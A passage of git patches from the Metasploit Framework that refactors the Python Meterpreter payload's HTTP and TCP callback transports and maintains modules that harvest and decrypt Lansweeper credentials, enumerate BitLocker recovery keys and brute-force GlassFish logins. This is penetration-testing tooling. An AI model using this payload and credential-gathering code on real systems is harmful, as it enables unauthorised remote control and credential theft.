FAKE_USER, password: FAKE_PASS) end From a338920cb3b2595d2d6fbd12ccf4c31dda77a52d Mon Sep 17 00:00:00 2001 From: cldrn <calderon@websec.mx> Date: Fri, 26 Jun 2015 12:21:35 -0500 Subject: [PATCH 0576/1013] lansweeper_collector retrieves and decrypts credentials store in the database of Lansweeper --- .../auxiliary/gather/{lansweeper.rb => lansweeper_collector.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/gather/{lansweeper.rb => lansweeper_collector.rb} (100%) diff --git a/modules/auxiliary/gather/lansweeper.rb b/modules/auxiliary/gather/lansweeper_collector.rb similarity index 100% rename from modules/auxiliary/gather/lansweeper.rb rename to modules/auxiliary/gather/lansweeper_collector.rb From 2968f52ca45b407cd53eb0afc1e244f06b9b8eed Mon Sep 17 00:00:00 2001 From: cldrn <calderon@websec.mx> Date: Fri, 26 Jun 2015 12:22:34 -0500 Subject: [PATCH 0577/1013] Removes debug sql output --- modules/auxiliary/gather/lansweeper_collector.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index a0a67a2fc4..f04ee87330 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary def run result = mssql_query('select Credname, Username, Password from ' + datastore['DATABASE'] + - '.dbo.tsysCredentials WHERE LEN(Password)>64', true) if mssql_login_datastore + '.dbo.tsysCredentials WHERE LEN(Password)>64', false) if mssql_login_datastore result[:rows].each do |row| print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{lswdecrypt(row[2])} ") end From c04490e5ebc378d7916fc567d966dae183c81cc3 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 26 Jun 2015 12:50:37 -0500 Subject: [PATCH 0578/1013] Remove comma before coordinating conjunction An independent clause does not follow. --- modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index 7e94815287..0ee3145011 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure', 'Description' => %q{ - This module dumps memory contents using a crafted Range header, and affects only + This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2. Note that if the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts From da779b11016bb04d8caa1dd4667ef46b690de204 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 26 Jun 2015 13:52:44 -0500 Subject: [PATCH 0579/1013] Fix login for 9.1 --- .../framework/login_scanner/glassfish.rb | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index e3aa4124da..3b48584f35 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -145,19 +145,9 @@ module Metasploit # * :proof [String] the HTTP response body def try_glassfish_9(credential) res = try_login(credential) - if res && res.code == 302 - opts = { - 'uri' => '/applications/upload.jsf', - 'method' => 'GET', - 'headers' => { - 'Cookie' => "JSESSIONID=#{self.jsession}" - } - } - res = send_request(opts) - if res && res.code.to_i == 302 && res.headers['Location'].to_s !~ /loginError\.jsf$/ - return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} - end + if res && res.code.to_i == 302 && res.headers['Location'].to_s !~ /loginError\.jsf$/ + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} end {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} From 79185e91c6a9ab919d594d797a76f6ef51b42971 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 26 Jun 2015 14:56:31 -0400 Subject: [PATCH 0580/1013] Refactor the pymet to use transport objects --- data/meterpreter/ext_server_stdapi.py | 1 + data/meterpreter/meterpreter.py | 225 +++++++++++++++----------- lib/msf/core/handler/reverse_http.rb | 7 +- 3 files changed, 137 insertions(+), 96 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 9e487280be..cdb2a5d199 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,3 +1,4 @@ +# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab import fnmatch import getpass import os diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index bc0aa3d648..df05efb0bc 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,4 +1,5 @@ #!/usr/bin/python +# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab import code import os import platform @@ -60,14 +61,16 @@ else: # Constants # -# these values may be patched, DO NOT CHANGE THEM +# these values will be patched, DO NOT CHANGE THEM DEBUGGING = False -HTTP_COMMUNICATION_TIMEOUT = 300 HTTP_CONNECTION_URL = None -HTTP_EXPIRATION_TIMEOUT = 604800 HTTP_PROXY = None HTTP_USER_AGENT = None PAYLOAD_UUID = "" +SESSION_COMMUNICATION_TIMEOUT = 300 +SESSION_EXPIRATION_TIMEOUT = 604800 +SESSION_RETRY_TOTAL = 3600 +SESSION_RETRY_WAIT = 10 PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 @@ -393,52 +396,117 @@ class STDProcess(subprocess.Popen): self.stdout_reader.read(len(channel_data)) export(STDProcess) -class PythonMeterpreter(object): - def __init__(self, socket=None): +class Transport(object): + def __init__(self): + self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT + self.communication_last = 0 + self.communication_active = True + self.retry_total = SESSION_RETRY_TOTAL + self.retry_wait = SESSION_RETRY_WAIT + + def get_packet(self): + self.communication_active = False + try: + pkt = self._get_packet() + except: + return None + self.communication_active = True + self.communication_last = time.time() + return pkt + + def send_packet(self, pkt): + self.communication_active = False + try: + self._send_packet(pkt) + except: + return None + self.communication_active = True + self.communication_last = time.time() + + def tlv_pack_timeouts(self): + response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout) + response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total) + response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait) + return response + +class HttpTransport(Transport): + def __init__(self, url, proxy=None, user_agent=None): + super(HttpTransport, self).__init__() + opener_args = [] + scheme = url.split(':', 1)[0] + if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)): + import ssl + ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) + ssl_ctx.check_hostname = False + ssl_ctx.verify_mode = ssl.CERT_NONE + opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) + if proxy: + opener_args.append(urllib.ProxyHandler({scheme: proxy})) + opener = urllib.build_opener(*opener_args) + if user_agent: + opener.addheaders = [('User-Agent', user_agent)] + urllib.install_opener(opener) + self.url = url + self._http_last_seen = time.time() + self._http_request_headers = {'Content-Type': 'application/octet-stream'} + + def _get_packet(self): + packet = None + request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers) + url_h = urllib.urlopen(request) + packet = url_h.read() + if packet: + packet = packet[8:] + else: + packet = None + return packet + + def _send_packet(self, packet): + request = urllib.Request(self.url, packet, self._http_request_headers) + url_h = urllib.urlopen(request) + response = url_h.read() + +class TcpTransport(Transport): + def __init__(self, socket): + super(TcpTransport, self).__init__() self.socket = socket - self.driver = None + + def _get_packet(self): + packet = None + if len(select.select([self.socket], [], [], 0.5)[0]): + packet = self.socket.recv(8) + if len(packet) != 8: + return None + pkt_length, pkt_type = struct.unpack('>II', packet) + pkt_length -= 8 + packet = bytes() + while len(packet) < pkt_length: + packet += self.socket.recv(pkt_length - len(packet)) + return packet + + def _send_packet(self, packet): + self.socket.send(packet) + +class PythonMeterpreter(object): + def __init__(self, transport): + self.transport = transport self.running = False - self.communications_active = True - self.communications_last = 0 - if self.socket: - self.driver = 'tcp' - elif HTTP_CONNECTION_URL: - self.driver = 'http' self.last_registered_extension = None self.extension_functions = {} self.channels = {} self.interact_channels = [] self.processes = {} - self.transports = [] + self.transports = [self.transport] + self.session_expiry_time = SESSION_EXPIRATION_TIMEOUT + self.session_expiry_end = time.time() + self.session_expiry_time for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) - if self.driver: - if hasattr(self, 'driver_init_' + self.driver): - getattr(self, 'driver_init_' + self.driver)() - self.running = True + self.running = True def debug_print(self, msg): if DEBUGGING: print(msg) - def driver_init_http(self): - opener_args = [] - scheme = HTTP_CONNECTION_URL.split(':', 1)[0] - if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)): - import ssl - ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23) - ssl_ctx.check_hostname=False - ssl_ctx.verify_mode=ssl.CERT_NONE - opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) - if HTTP_PROXY: - opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY})) - opener = urllib.build_opener(*opener_args) - if HTTP_USER_AGENT: - opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] - urllib.install_opener(opener) - self._http_last_seen = time.time() - self._http_request_headers = {'Content-Type': 'application/octet-stream'} - def register_extension(self, extension_name): self.last_registered_extension = extension_name return self.last_registered_extension @@ -468,67 +536,19 @@ class PythonMeterpreter(object): return idx def get_packet(self): - packet = getattr(self, 'get_packet_' + self.driver)() - self.communications_last = time.time() - if packet: - self.communications_active = True - return packet + return self.transport.get_packet() def send_packet(self, packet): - getattr(self, 'send_packet_' + self.driver)(packet) - self.communications_last = time.time() - self.communications_active = True + self.transport.send_packet(packet) - def get_packet_http(self): - packet = None - request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers) - try: - url_h = urllib.urlopen(request) - packet = url_h.read() - except: - if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: - self.running = False - else: - self._http_last_seen = time.time() - if packet: - packet = packet[8:] - else: - packet = None - return packet - - def send_packet_http(self, packet): - request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers) - try: - url_h = urllib.urlopen(request) - response = url_h.read() - except: - if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: - self.running = False - else: - self._http_last_seen = time.time() - - def get_packet_tcp(self): - packet = None - if len(select.select([self.socket], [], [], 0.5)[0]): - packet = self.socket.recv(8) - if len(packet) != 8: - self.running = False - return None - pkt_length, pkt_type = struct.unpack('>II', packet) - pkt_length -= 8 - packet = bytes() - while len(packet) < pkt_length: - packet += self.socket.recv(pkt_length - len(packet)) - return packet - - def send_packet_tcp(self, packet): - self.socket.send(packet) + @property + def session_has_expired(self): + return time.time() > self.session_expiry_end def run(self): - while self.running: + while self.running and not self.session_has_expired: request = None - should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5) - self.communications_active = False + should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 0.5) if should_get_packet: request = self.get_packet() if request: @@ -673,7 +693,22 @@ class PythonMeterpreter(object): raise NotImplemented() def _core_transport_set_timeouts(self, request, response): - raise NotImplemented() + timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value') + if timeout_value: + self.session_expiry_time = timeout_value + self.session_expiry_end = time.time() + self.session_expiry_time + timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value') + if timeout_value: + self.transport.communication_timeout = timeout_value + retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value') + if retry_value: + self.transport.retry_total = retry_value + retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value') + if retry_value: + self.transport.retry_wait = retry_value + + response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) + response += self.transport.tlv_pack_timeouts() def _core_transport_sleep(self, request, response): raise NotImplemented() @@ -804,14 +839,16 @@ class PythonMeterpreter(object): resp = struct.pack('>I', len(resp) + 4) + resp return resp -if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): +#if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): +if True: if hasattr(os, 'setsid'): try: os.setsid() except OSError: pass if HTTP_CONNECTION_URL and has_urllib: - met = PythonMeterpreter() + transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT) else: - met = PythonMeterpreter(s) + transport = TcpTransport(s) + met = PythonMeterpreter(transport) met.run() diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f2e0073f6a..1874991f62 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -285,8 +285,6 @@ protected # Patch all the things blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") - blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") - blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") unless datastore['PayloadProxyHost'].blank? @@ -294,6 +292,11 @@ protected blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end + blob.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") + blob.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") + blob.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") + blob.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") + resp.body = blob # Short-circuit the payload's handle_connection processing for create_session From 3b5e2a0c6e176e6881d5f795cbe06b0ca041f2fd Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 26 Jun 2015 14:02:17 -0500 Subject: [PATCH 0581/1013] Use TARGETURI --- modules/exploits/multi/http/glassfish_deployer.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index ee6537e866..43782be301 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']), OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]), - OptString.new('PATH', [ true, "The URI path of the GlassFish Server", '/']), + OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]) ], self.class) end @@ -595,7 +595,7 @@ class Metasploit3 < Msf::Exploit::Remote end #Execute our payload using the application interface (no need to use auth bypass technique) - jsp_path = "/" + app_base + "/" + jsp_name + ".jsp" + jsp_path = normalize_uri(target_uri.path, app_base, "#{jsp_name}.jsp") nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'], { 'Msf' => framework, @@ -682,7 +682,7 @@ class Metasploit3 < Msf::Exploit::Remote end def my_target_host - my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(datastore['PATH'])}" + my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}" end @@ -740,7 +740,7 @@ class Metasploit3 < Msf::Exploit::Remote private_type: :password )) - @scanner.send_request({'uri'=>'/'}) + @scanner.send_request({'uri'=>normalize_uri(target_uri.path)}) @scanner.version = version @cred_collection.each do |raw| cred = raw.to_credential From 175d9cdcb13412b28d18ada22d8eee77531e2d8b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 26 Jun 2015 16:52:55 -0400 Subject: [PATCH 0582/1013] Pymet support for creating and listing transports --- data/meterpreter/meterpreter.py | 80 ++++++++++++++++++++++++++++++--- 1 file changed, 75 insertions(+), 5 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index df05efb0bc..c24cdf211e 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -404,6 +404,20 @@ class Transport(object): self.retry_total = SESSION_RETRY_TOTAL self.retry_wait = SESSION_RETRY_WAIT + @staticmethod + def from_request(request): + url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value'] + if url.startswith('tcp'): + transport = TcpTransport(url) + elif url.startswith('http'): + proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value') + user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT) + transport = HttpTransport(url, proxy=proxy, user_agent=user_agent) + transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) + transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) + transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) + return transport + def get_packet(self): self.communication_active = False try: @@ -429,6 +443,11 @@ class Transport(object): response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait) return response + def tlv_pack_transport_group(self): + trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url) + trans_group += self.tlv_pack_timeouts() + return trans_group + class HttpTransport(Transport): def __init__(self, url, proxy=None, user_agent=None): super(HttpTransport, self).__init__() @@ -442,12 +461,13 @@ class HttpTransport(Transport): opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) if proxy: opener_args.append(urllib.ProxyHandler({scheme: proxy})) + self.proxy = proxy opener = urllib.build_opener(*opener_args) if user_agent: opener.addheaders = [('User-Agent', user_agent)] + self.user_agent = user_agent urllib.install_opener(opener) self.url = url - self._http_last_seen = time.time() self._http_request_headers = {'Content-Type': 'application/octet-stream'} def _get_packet(self): @@ -466,12 +486,42 @@ class HttpTransport(Transport): url_h = urllib.urlopen(request) response = url_h.read() + def tlv_pack_transport_group(self): + trans_group = super(HttpTransport, self).tlv_pack_transport_group() + if self.user_agent: + trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent) + if self.proxy: + trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy) + return trans_group + class TcpTransport(Transport): - def __init__(self, socket): + def __init__(self, url, socket=None): super(TcpTransport, self).__init__() + self.url = url self.socket = socket + def _check_socket(self): + if self.socket: + return + if self.url.startswith('tcp:'): + family = socket.AF_INET + address, port = url[6:].split(':', 1) + else: + family = socket.AF_INET6 + address, port = url[7:].split(':', 1) + port = int(port.rstrip('/')) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if address == '0.0.0.0' or address == '::': + sock.bind((address, port)) + sock.listen(1) + sock, _ = sock.accept() + else: + sock.connect((address, port)) + self.socket = sock + return + def _get_packet(self): + self._check_socket() packet = None if len(select.select([self.socket], [], [], 0.5)[0]): packet = self.socket.recv(8) @@ -485,8 +535,23 @@ class TcpTransport(Transport): return packet def _send_packet(self, packet): + self._check_socket() self.socket.send(packet) + @classmethod + def from_socket(cls, sock): + if sock.family == socket.AF_INET: + url = 'tcp://' + else: + url = 'tcp6://' + address, port = sock.getsockname()[:2] + # this will need to be changed if the bind stager ever supports binding to a specific address + if not (address == '0.0.0.0' or address == '::'): + address, port = sock.getpeername()[:2] + url += address + ':' + str(port) + url = url + return cls(url, sock) + class PythonMeterpreter(object): def __init__(self, transport): self.transport = transport @@ -678,13 +743,17 @@ class PythonMeterpreter(object): return ERROR_SUCCESS, response def _core_transport_add(self, request, response): - raise NotImplemented() + self.transports.append(Transport.from_request(request)) + return ERROR_SUCCESS, response def _core_transport_change(self, request, response): raise NotImplemented() def _core_transport_list(self, request, response): - raise NotImplemented() + response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) + for transport in self.transports: + response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group()) + return ERROR_SUCCESS, response def _core_transport_next(self, request, response): raise NotImplemented() @@ -709,6 +778,7 @@ class PythonMeterpreter(object): response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time()) response += self.transport.tlv_pack_timeouts() + return ERROR_SUCCESS, response def _core_transport_sleep(self, request, response): raise NotImplemented() @@ -849,6 +919,6 @@ if True: if HTTP_CONNECTION_URL and has_urllib: transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT) else: - transport = TcpTransport(s) + transport = TcpTransport.from_socket(s) met = PythonMeterpreter(transport) met.run() From 600a2962915e862b2fcc675ac4bf050f6921b30a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 26 Jun 2015 16:51:00 -0500 Subject: [PATCH 0583/1013] Do minor cleanup --- .../post/windows/gather/enum_ad_bitlocker.rb | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index b251c602d4..b2aa320180 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,18 +14,18 @@ class Metasploit3 < Msf::Post def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Gather Active Directory BitLocker Recovery', - 'Description' => %( - This module will enumerate BitLocker recovery passwords in the default AD - directory. Requires Domain Admin or other delegated privileges. - ), + 'Description' => %q{ + This module will enumerate BitLocker recovery passwords in the default AD + directory. Requires Domain Admin or other delegated privileges. + }, 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], + 'Author' => ['Ben Campbell <ben.campbell[at]mwrinfosecurity.com>'], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], 'References' => - [ - ['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx'] - ] + [ + ['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx'] + ] )) register_options([ @@ -66,6 +66,7 @@ class Metasploit3 < Msf::Post end print_line results_table.to_s + if datastore['STORE_LOOT'] stored_path = store_loot('bitlocker.recovery', 'text/plain', session, results_table.to_csv) print_status("Results saved to: #{stored_path}") From b4656f43a46c417a676cadfcba1135931acd3969 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 26 Jun 2015 18:04:18 -0500 Subject: [PATCH 0584/1013] Fix #5616, Save username before stop_on_success breaks the task Fix #5616 --- lib/metasploit/framework/login_scanner/base.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb index 889002eb36..352065916b 100644 --- a/lib/metasploit/framework/login_scanner/base.rb +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -220,8 +220,8 @@ module Metasploit if result.success? consecutive_error_count = 0 - break if stop_on_success successful_users << credential.public + break if stop_on_success else if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT consecutive_error_count += 1 From 007da4af41cadf97ca59fc9542c0779e4c6fe2f5 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Sat, 27 Jun 2015 18:21:15 +1000 Subject: [PATCH 0585/1013] Force :init_connect for stageless --- lib/msf/core/payload/transport_config.rb | 3 ++- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 1 + modules/payloads/singles/windows/meterpreter_reverse_https.rb | 1 + .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 1 + .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 1 + 5 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index f75c5c3db2..c0647a26ea 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -48,7 +48,8 @@ module Msf::Payload::TransportConfig # going up as part of the stage. uri = opts[:uri] unless uri - sum = uri_checksum_lookup(:connect) + type = opts[:stageless] == true ? :init_connect : :connect + sum = uri_checksum_lookup(type) uri = generate_uri_uuid(sum, opts[:uuid]) end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 78561d56b4..de0b7c4e10 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -45,6 +45,7 @@ module Metasploit4 def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid + opts[:stageless] = true # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 195a176b98..690604981a 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -45,6 +45,7 @@ module Metasploit4 def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid + opts[:stageless] = true # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index e978b16c97..b84ce4f7fb 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -45,6 +45,7 @@ module Metasploit4 def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid + opts[:stageless] = true # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 45f9d53014..a8b2260db6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -45,6 +45,7 @@ module Metasploit4 def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid + opts[:stageless] = true # create the configuration block config_opts = { From bb43f7e30f5e77e694a982e99148f4628e21d83b Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 27 Jun 2015 10:50:54 -0500 Subject: [PATCH 0586/1013] use the correct transport for x64/meterpreter_reverse_https --- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index a8b2260db6..fe0e6c1977 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -53,7 +53,7 @@ module Metasploit4 exitfunk: datastore['EXITFUNC'], expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], - transports: [transport_config_reverse_http(opts)], + transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(',') } From 88e58cbdc591411fc4d03b9f5ddc0d2aa0e30083 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 27 Jun 2015 12:19:07 -0500 Subject: [PATCH 0587/1013] Better performance --- lib/msf/core/exploit/browser_autopwnv2.rb | 57 ++++++++++--------- .../core/exploit/browser_autopwnv2_spec.rb | 6 +- 2 files changed, 33 insertions(+), 30 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index c428af2cbb..7da6a2d385 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -176,6 +176,7 @@ module Msf # Checks if a resource is already taken or not. # + # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return 